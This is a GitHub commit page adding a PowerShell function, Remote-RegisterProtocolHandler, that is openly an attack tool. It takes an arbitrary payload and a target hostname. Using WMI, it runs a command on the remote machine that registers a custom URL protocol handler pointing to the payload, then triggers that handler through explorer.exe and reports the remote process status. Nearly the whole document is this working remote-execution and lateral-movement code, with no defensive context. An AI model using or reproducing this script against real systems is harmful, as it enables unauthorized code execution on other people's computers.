-
Notifications
You must be signed in to change notification settings - Fork 253
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Create Remote-RegisterProtocolHandler.ps1
- Loading branch information
1 parent
4bd3ba8
commit c87eb97
Showing
1 changed file
with
39 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
function Remote-RegisterProtocolHandler { | ||
param( | ||
[Parameter(Mandatory=$True)] | ||
[string]$Payload, | ||
[Parameter(Mandatory=$True)] | ||
[string]$ComputerName, | ||
[Parameter(Mandatory=$False)] | ||
[string]$Handler = "ms-browse" | ||
) | ||
|
||
BEGIN { | ||
Write-Output "[+] Executing payload on $($ComputerName)" | ||
} | ||
|
||
PROCESS { | ||
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::CurrentUser, $ComputerName) | ||
|
||
$Command = "cmd.exe /Q /c reg add HKEY_CURRENT_USER\Software\Classes\$($Handler) /d ""URL: $($Handler)"" /v ""URL Protocol"" /f && reg add HKEY_CURRENT_USER\Software\Classes\$($Handler)\shell\open\command /d ""$($Payload)"" && explorer.exe $($Handler)://" | ||
|
||
Write-Output "[+] Invoking $($Command) over WMI" | ||
|
||
$Process = Invoke-WmiMethod -ComputerName $ComputerName -Class Win32_Process -Name Create -ArgumentList $Command | ||
|
||
Try { | ||
Write-Output "[+] Remote Process PID: $($process.ProcessId)" | ||
Register-WmiEvent -ComputerName $ComputerName -Query "Select * from Win32_ProcessStopTrace Where ProcessID=$($process.ProcessId)" -Action { | ||
$state = $event.SourceEventArgs.NewEvent; | ||
Write-Host "[+] Remote process status:`nPID: $($state.ProcessId)`nState: $($state.State)`nStatus: $($state.Status)" | ||
} | ||
} Catch { | ||
$_ | ||
Write-Host "[-] Process Status couldn't be retrieved" | ||
} | ||
} | ||
|
||
END { | ||
Write-Output "[+] Process completed..." | ||
} | ||
} |